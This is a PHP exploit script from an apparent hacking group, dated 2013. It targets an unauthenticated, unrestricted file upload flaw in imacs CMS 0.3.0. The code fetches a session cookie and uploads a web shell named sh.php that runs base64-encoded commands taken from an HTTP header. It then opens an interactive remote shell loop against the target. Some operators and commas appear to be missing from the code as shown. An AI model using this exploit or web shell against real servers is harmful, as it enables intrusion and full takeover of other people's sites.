imacs CMS 0.3.0 - Unrestricted File Upload Exploit



<?php

 
/*
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
 Exploit Title   : imacs CMS Unrestricted File Upload Exploit
 Date            : 18 June 2013
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://jrcmsdev.sourceforge.net/
 Software Link   : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
 Version         : 0.3.0
 Tested on       : Window and Linux
  
  
#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################
  
/src/assets/mng/mng.php
 
#####################################################
DESCRIPTION
#####################################################
  
Restricted access to this script isn't properly realized (Don't require authentication) ,  
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file 
extension isn't properly checked.
 

#####################################################
EXPLOIT
#####################################################
  
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout"5);
 
function 
http_send($host$packet)
{
    if (!(
$sock fsockopen($host80)))
        die(
"\n[-] No response from {$host}:80\n");
  
    
fputs($sock$packet);
    return 
stream_get_contents($sock);
}
 
print 
"\n==============================================\n";
print 
"  imacs CMS Unrestricted File Upload Exploit  \n";
print 
"                                              \n";
print 
"        Discovered By CWH Underground         \n";
print 
"==============================================\n\n";
print 
"  ,--^----------,--------,-----,-------^--,   \n";
print 
"  | |||||||||   `--------'     |          O   \n";
print 
"  `+---------------------------^----------|   \n";
print 
"    `\_,-------, _________________________|   \n";
print 
"      / XXXXXX /`|     /                      \n";
print 
"     / XXXXXX /  `\   /                       \n";
print 
"    / XXXXXX /\______(                        \n";
print 
"   / XXXXXX /                                 \n";
print 
"  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
print 
" (________(                                   \n";
print 
"  `------'                                    \n\n";

  
if (
$argc 3)
{
    print 
"\nUsage......: php $argv[0] <host> <path>\n";
    print 
"\nExample....: php $argv[0] localhost /";
    print 
"\nExample....: php $argv[0] localhost /imacs/\n";
    die();
}
 
$host $argv[1];
$path $argv[2];
 

$payload  "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$response http_send($host$packet);

if (!
preg_match("/Set-Cookie: ([^;]*);/i"$response$sid)) die("\n[-] Session ID not found!\n");

$packet  "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
     
http_send($host$packet);
 
$packet  "GET {$path}content/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
     
while(
1)
{
    print 
"\nimacs-shell# ";
    if ((
$cmd trim(fgets(STDIN))) == "exit") break;
    
$response http_send($hostsprintf($packetbase64_encode($cmd)));
    
preg_match('/___(.*)/s'$response$m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>